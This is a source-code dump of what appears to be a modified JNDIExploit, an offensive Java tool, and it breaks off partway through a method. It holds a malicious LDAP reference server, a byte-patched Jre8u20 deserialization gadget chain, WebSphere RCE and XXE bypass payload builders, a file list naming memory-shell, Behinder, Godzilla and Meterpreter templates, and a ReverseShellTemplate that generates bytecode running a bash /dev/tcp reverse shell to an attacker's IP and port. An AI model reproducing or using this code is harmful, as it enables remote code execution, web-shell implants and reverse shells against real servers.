| case meterpreter: 91 | className=Meterpreter.class.getName(); 92 | break; 93 | case tomcatmemshellall1: 94 | className= TomcatMemshellall1.class.getName(); 95 | break; 96 | case tomcatmemshellall2: 97 | className=TomcatMemshellall2.class.getName(); 98 | break; 99 | case springmemshellall1: 100 | className=SpringMemshellall.class.getName(); 101 | break; 102 | 103 | 104 | } 105 | 106 | URL turl = new URL(new URL(this.codebase), className + ".class"); 107 | System.out.println("[+] Send LDAP reference result for " + base + " redirecting to " + turl); 108 | e.addAttribute("javaClassName", "foo"); 109 | e.addAttribute("javaCodeBase", this.codebase); 110 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 111 | if (className.equals("com.feihong.ldap.template.Meterpreter")){ 112 | e.addAttribute("javaFactory", "Meterpreter"); 113 | } 114 | e.addAttribute("javaFactory", className); 115 | result.sendSearchEntry(e); 116 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 117 | } 118 | 119 | @Override 120 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 121 | try{ 122 | int fistIndex = base.indexOf("/"); 123 | int secondIndex = base.indexOf("/", fistIndex + 1); 124 | if(secondIndex < 0) secondIndex = base.length(); 125 | 126 | try{ 127 | type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase()); 128 | System.out.println("[+] Paylaod: " + type); 129 | }catch(IllegalArgumentException e){ 130 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex)); 131 | } 132 | 133 | switch(type){ 134 | case dnslog: 135 | String url = base.substring(base.lastIndexOf("/") + 1); 136 | System.out.println("[+] URL: " + url); 137 | params = new String[]{url}; 138 | break; 139 | case command: 140 | String cmd = Util.getCmdFromBase(base); 141 | System.out.println("[+] Command: " + cmd); 142 | params = new String[]{cmd}; 143 | break; 144 | case reverseshell: 145 | String[] results = Util.getIPAndPortFromBase(base); 146 | System.out.println("[+] IP: " + results[0]); 147 | System.out.println("[+] Port: " + results[1]); 148 | params = results; 149 | break; 150 | } 151 | }catch(Exception e){ 152 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 153 | 154 | throw new IncorrectParamsException("Incorrect params: " + base); 155 | } 156 | } 157 | } 158 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jre8u20.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.gadgets.utils.Util; 7 | 8 | import javax.xml.transform.Templates; 9 | import java.beans.beancontext.BeanContextSupport; 10 | import java.io.ByteArrayOutputStream; 11 | import java.io.FileOutputStream; 12 | import java.io.ObjectOutputStream; 13 | import java.lang.reflect.Field; 14 | import java.lang.reflect.InvocationHandler; 15 | import java.util.HashMap; 16 | import java.util.LinkedHashSet; 17 | 18 | public class Jre8u20 { 19 | public static void main(String[] args) throws Exception { 20 | byte[] bytes = getBytes(PayloadType.command, "calc"); 21 | FileOutputStream fous = new FileOutputStream("888.ser"); 22 | fous.write(bytes); 23 | fous.close(); 24 | } 25 | 26 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 27 | final Object templates = Gadgets.createTemplatesImpl(type, param); 28 | String zeroHashCodeStr = "f5a5a608"; 29 | 30 | HashMap map = new HashMap(); 31 | map.put(zeroHashCodeStr, "foo"); 32 | 33 | InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 34 | Reflections.setFieldValue(handler, "type", Templates.class); 35 | Templates proxy = Gadgets.createProxy(handler, Templates.class); 36 | Reflections.setFieldValue(templates, "_auxClasses", null); 37 | Reflections.setFieldValue(templates, "_class", null); 38 | 39 | map.put(zeroHashCodeStr, templates); // swap in real object 40 | 41 | LinkedHashSet set = new LinkedHashSet(); 42 | 43 | BeanContextSupport bcs = new BeanContextSupport(); 44 | Class cc = Class.forName("java.beans.beancontext.BeanContextSupport"); 45 | Field serializable = cc.getDeclaredField("serializable"); 46 | serializable.setAccessible(true); 47 | serializable.set(bcs, 0); 48 | 49 | Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer"); 50 | beanContextChildPeer.set(bcs, bcs); 51 | 52 | set.add(bcs); 53 | 54 | //序列化 55 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 56 | ObjectOutputStream oos = new ObjectOutputStream(baous); 57 | 58 | oos.writeObject(set); 59 | oos.writeObject(handler); 60 | oos.writeObject(templates); 61 | oos.writeObject(proxy); 62 | oos.close(); 63 | 64 | byte[] bytes = baous.toByteArray(); 65 | bytes[89] = 3; //修改hashset的长度(元素个数) 66 | 67 | //调整 TC_ENDBLOCKDATA 标记的位置 68 | //0x73 = 115, 0x78 = 120 69 | //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA 70 | for(int i = 0; i < bytes.length; i++){ 71 | if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 && 72 | bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){ 73 | bytes = Util.deleteAt(bytes, i + 5); 74 | break; 75 | } 76 | } 77 | 78 | 79 | //将 serializable 的值修改为 1 80 | //0x73 = 115, 0x78 = 120 81 | //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA 82 | for(int i = 0; i < bytes.length; i++){ 83 | if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 && 84 | bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){ 85 | bytes[i+6] = 1; 86 | break; 87 | } 88 | } 89 | 90 | /** 91 | TC_BLOCKDATA - 0x77 92 | Length - 4 - 0x04 93 | Contents - 0x00000000 94 | TC_ENDBLOCKDATA - 0x78 95 | **/ 96 | 97 | //把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后 98 | //目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流 99 | //0x77 = 119, 0x78 = 120 100 | //0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA 101 | for(int i = 0; i < bytes.length; i++){ 102 | if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 && 103 | bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){ 104 | bytes = Util.deleteAt(bytes, i); 105 | bytes = Util.deleteAt(bytes, i); 106 | bytes = Util.deleteAt(bytes, i); 107 | bytes = Util.deleteAt(bytes, i); 108 | bytes = Util.deleteAt(bytes, i); 109 | bytes = Util.deleteAt(bytes, i); 110 | bytes = Util.deleteAt(bytes, i); 111 | break; 112 | } 113 | } 114 | 115 | /* 116 | serialVersionUID - 0x00 00 00 00 00 00 00 00 117 | newHandle 0x00 7e 00 28 118 | classDescFlags - 0x00 - 119 | fieldCount - 0 - 0x00 00 120 | classAnnotations 121 | TC_ENDBLOCKDATA - 0x78 122 | superClassDesc 123 | TC_NULL - 0x70 124 | newHandle 0x00 7e 00 29 125 | */ 126 | //0x78 = 120, 0x70 = 112 127 | //0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL 128 | for(int i = 0; i < bytes.length; i++){ 129 | if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 && 130 | bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 && 131 | bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 && 132 | bytes[i+12] == 112){ 133 | i = i + 13; 134 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x77); 135 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x04); 136 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); 137 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); 138 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); 139 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); 140 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x78); 141 | break; 142 | } 143 | } 144 | 145 | //将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD 146 | //这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改 147 | //原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1)) 148 | // -> count = ois.readInt(); 报错,无法完成整个反序列化流程 149 | // 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了 150 | // 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect... 151 | for(int i = 0; i < bytes.length; i++){ 152 | if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 && 153 | bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){ 154 | i = i + 58; 155 | bytes[i] = 3; 156 | break; 157 | } 158 | } 159 | 160 | //加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束 161 | bytes = Util.addAtLast(bytes, (byte) 0x78); 162 | 163 | return bytes; 164 | } 165 | } 166 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.enumtypes.WebsphereActionType; 5 | import com.feihong.ldap.exceptions.IncorrectParamsException; 6 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException; 7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 8 | import com.feihong.ldap.utils.*; 9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 10 | import com.unboundid.ldap.sdk.Entry; 11 | import com.unboundid.ldap.sdk.LDAPResult; 12 | import com.unboundid.ldap.sdk.ResultCode; 13 | import javax.naming.Reference; 14 | import javax.naming.StringRefAddr; 15 | import java.util.Properties; 16 | 17 | /* 18 | * Requires: 19 | * - websphere v6-9 libraries in the classpath 20 | */ 21 | 22 | @LdapMapping(uri = { "/webspherebypass" }) 23 | public class WebsphereBypassController implements LdapController { 24 | private WebsphereActionType actionType; 25 | private String localJarPath; 26 | private String injectUrl; 27 | 28 | @Override 29 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 30 | 31 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 32 | 33 | Entry e = new Entry(base); 34 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 35 | 36 | if(actionType == WebsphereActionType.rce){ 37 | //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory 38 | Reference ref = new Reference("ExportObject", 39 | "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); 40 | Properties refProps = new Properties(); 41 | refProps.put("com.ibm.ws.client.classpath", localJarPath); 42 | refProps.put("com.ibm.ws.client.classname", "xExportObject"); 43 | // ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps)); 44 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 45 | 46 | }else{ 47 | //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory 48 | javax.naming.Reference ref = new Reference("ExploitObject", 49 | "com.ibm.ws.webservices.engine.client.ServiceFactory", null); 50 | ref.add(new StringRefAddr("WSDL location", injectUrl)); 51 | ref.add(new StringRefAddr("service namespace","xxx")); 52 | ref.add(new StringRefAddr("service local part","yyy")); 53 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 54 | } 55 | 56 | result.sendSearchEntry(e); 57 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 58 | } 59 | 60 | @Override 61 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException { 62 | try{ 63 | int firstIndex = base.indexOf("/"); 64 | int secondIndex = base.indexOf("/", firstIndex + 1); 65 | if(secondIndex < 0) secondIndex = base.length(); 66 | 67 | try{ 68 | actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 69 | System.out.println("[+] ActionType: " + actionType); 70 | }catch(IllegalArgumentException e){ 71 | throw new UnSupportedActionTypeException("UnSupportedActionType: " + base.substring(firstIndex + 1, secondIndex)); 72 | } 73 | 74 | switch(actionType){ 75 | case list: 76 | String file = base.substring(base.lastIndexOf("=") + 1); 77 | System.out.println("[+] Read File/List Directory: " + file); 78 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file; 79 | break; 80 | case rce: 81 | String localJarFile = base.substring(base.lastIndexOf("=") + 1); 82 | System.out.println("[+] Local jar path: " + localJarFile); 83 | localJarPath = localJarFile; 84 | break; 85 | case upload: 86 | int thirdIndex = base.indexOf("/", secondIndex + 1); 87 | if(thirdIndex < 0) thirdIndex = base.length(); 88 | 89 | PayloadType payloadType = null; 90 | try{ 91 | payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); 92 | // webspherebypass 只支持这 4 种类型的 PayloadType 93 | if(payloadType != PayloadType.command && payloadType != PayloadType.dnslog 94 | && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell){ 95 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); 96 | } 97 | }catch(IllegalArgumentException e){ 98 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); 99 | } 100 | 101 | System.out.println("[+] PayloadType: " + payloadType); 102 | switch (payloadType){ 103 | case command: 104 | String cmd = Util.getCmdFromBase(base); 105 | System.out.println("[+] Command: " + cmd); 106 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd; 107 | break; 108 | case dnslog: 109 | String url = base.substring(base.lastIndexOf("/") + 1); 110 | System.out.println("[+] URL: " + url); 111 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url; 112 | break; 113 | case reverseshell: 114 | String[] results = Util.getIPAndPortFromBase(base); 115 | System.out.println("[+] IP: " + results[0]); 116 | System.out.println("[+] Port: " + results[1]); 117 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1]; 118 | break; 119 | case webspherememshell: 120 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell"; 121 | break; 122 | } 123 | break; 124 | } 125 | }catch(Exception e){ 126 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 127 | if(e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException)e; 128 | 129 | throw new IncorrectParamsException("Incorrect params: " + base); 130 | } 131 | } 132 | } -------------------------------------------------------------------------------- /target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst: -------------------------------------------------------------------------------- 1 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/utils/Util.java 2 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate1.java 3 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/controllers/BasicController.java 4 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/RMIRefServer.java 5 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java 6 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/BehinderFilter.java 7 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java 8 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java 9 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/isOK.java 10 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate2.java 11 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java 12 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java 13 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/WebsphereMemshellTemplate.java 14 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/CVE_2020_2883.java 15 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/Jdk7u21.java 16 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate2.java 17 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/Starter.java 18 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/C3P0.java 19 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java 20 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/SpringMemshellTemplate.java 21 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/utils/Cache.java 22 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java 23 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate1.java 24 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/SpringMemshellall.java 25 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/URLDNS.java 26 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/utils/MyURLClassLoader.java 27 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/JettyBehinderFilter.java 28 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/TomcatEchoTemplate.java 29 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK1.java 30 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/GodzillaFilter.java 31 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/Jre8u20.java 32 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/TomcatTemp.java 33 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/utils/Config.java 34 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/Template.java 35 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/SpringEchoTemplate.java 36 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/utils/Gadgets.java 37 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/utils/ClassByteChange.java 38 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/controllers/SerializedDataController.java 39 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils2.java 40 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/JettyMemshellTemplate.java 41 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/controllers/LdapMapping.java 42 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/WeblogicEchoTemplate.java 43 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/enumtypes/PayloadType.java 44 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/controllers/LdapController.java 45 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java 46 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/CVE_2020_2555.java 47 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/utils/Util.java 48 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/HTTPServer.java 49 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java 50 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/controllers/TomcatBypassController.java 51 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java 52 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/LdapServer.java 53 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/isSuccess.java 54 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/LDAPRefServer.java 55 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/TomcatMemshellall.java 56 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/MyClassLoader.java 57 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/JBossMemshellTemplate.java 58 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/DnslogTemplate.java 59 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/Meterpreter.java 60 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java 61 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/Meterpreter.java 62 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/SpringTemp.java 63 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java 64 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/DynamicInterceptorTemplate.java 65 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/enumtypes/GadgetType.java 66 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK2.java 67 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java 68 | /Users/paperman/codeworld/java/JNDIExploit-Modify/src/main/java/com/feihong/ldap/template/CommandTemplate.java 69 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.feihong.ldap.utils.Cache; 4 | import com.feihong.ldap.utils.Util; 5 | import org.objectweb.asm.*; 6 | import static org.objectweb.asm.Opcodes.*; 7 | 8 | public class ReverseShellTemplate implements Template { 9 | private String className; 10 | private byte[] bytes; 11 | private String ip; 12 | private int port; 13 | 14 | public ReverseShellTemplate(String ip, String port){ 15 | this(ip, Integer.parseInt(port)); 16 | } 17 | 18 | 19 | public ReverseShellTemplate(String ip, int port){ 20 | this.ip = ip; 21 | this.port = port; 22 | this.className = "Exploit" + Util.getRandomString(); 23 | 24 | generate(); 25 | } 26 | 27 | public ReverseShellTemplate(String ip, String port, String className){ 28 | this(ip, Integer.parseInt(port)); 29 | this.className = className; 30 | 31 | generate(); 32 | } 33 | 34 | @Override 35 | public String getClassName(){ 36 | return className; 37 | } 38 | 39 | @Override 40 | public byte[] getBytes() { 41 | return bytes; 42 | } 43 | 44 | @Override 45 | public void cache() { 46 | Cache.set(className, bytes); 47 | } 48 | 49 | @Override 50 | public void generate() { 51 | ClassWriter cw = new ClassWriter(0); 52 | FieldVisitor fv; 53 | MethodVisitor mv; 54 | AnnotationVisitor av0; 55 | 56 | cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); 57 | 58 | 59 | { 60 | fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null); 61 | fv.visitEnd(); 62 | } 63 | { 64 | fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null); 65 | fv.visitEnd(); 66 | } 67 | { 68 | mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); 69 | mv.visitCode(); 70 | Label l0 = new Label(); 71 | Label l1 = new Label(); 72 | Label l2 = new Label(); 73 | mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception"); 74 | Label l3 = new Label(); 75 | mv.visitLabel(l3); 76 | mv.visitLineNumber(12, l3); 77 | mv.visitVarInsn(ALOAD, 0); 78 | mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); 79 | Label l4 = new Label(); 80 | mv.visitLabel(l4); 81 | mv.visitLineNumber(13, l4); 82 | mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); 83 | mv.visitLdcInsn("/"); 84 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); 85 | Label l5 = new Label(); 86 | mv.visitJumpInsn(IFEQ, l5); 87 | Label l6 = new Label(); 88 | mv.visitLabel(l6); 89 | mv.visitLineNumber(14, l6); 90 | mv.visitInsn(ICONST_3); 91 | mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); 92 | mv.visitInsn(DUP); 93 | mv.visitInsn(ICONST_0); 94 | mv.visitLdcInsn("/bin/bash"); 95 | mv.visitInsn(AASTORE); 96 | mv.visitInsn(DUP); 97 | mv.visitInsn(ICONST_1); 98 | mv.visitLdcInsn("-c"); 99 | mv.visitInsn(AASTORE); 100 | mv.visitInsn(DUP); 101 | mv.visitInsn(ICONST_2); 102 | mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); 103 | mv.visitInsn(AASTORE); 104 | mv.visitVarInsn(ASTORE, 1); 105 | mv.visitLabel(l0); 106 | mv.visitLineNumber(16, l0); 107 | mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); 108 | mv.visitVarInsn(ALOAD, 1); 109 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); 110 | mv.visitInsn(POP); 111 | mv.visitLabel(l1); 112 | mv.visitLineNumber(19, l1); 113 | mv.visitJumpInsn(GOTO, l5); 114 | mv.visitLabel(l2); 115 | mv.visitLineNumber(17, l2); 116 | mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"}); 117 | mv.visitVarInsn(ASTORE, 2); 118 | Label l7 = new Label(); 119 | mv.visitLabel(l7); 120 | mv.visitLineNumber(18, l7); 121 | mv.visitVarInsn(ALOAD, 2); 122 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); 123 | mv.visitLabel(l5); 124 | mv.visitLineNumber(22, l5); 125 | mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null); 126 | mv.visitInsn(RETURN); 127 | Label l8 = new Label(); 128 | mv.visitLabel(l8); 129 | mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2); 130 | mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1); 131 | mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0); 132 | mv.visitMaxs(4, 3); 133 | mv.visitEnd(); 134 | } 135 | { 136 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); 137 | mv.visitCode(); 138 | Label l0 = new Label(); 139 | mv.visitLabel(l0); 140 | mv.visitLineNumber(27, l0); 141 | mv.visitInsn(RETURN); 142 | Label l1 = new Label(); 143 | mv.visitLabel(l1); 144 | mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); 145 | mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); 146 | mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2); 147 | mv.visitMaxs(0, 3); 148 | mv.visitEnd(); 149 | } 150 | { 151 | mv = cw.visitMethod(ACC_PUBLIC, "transform", 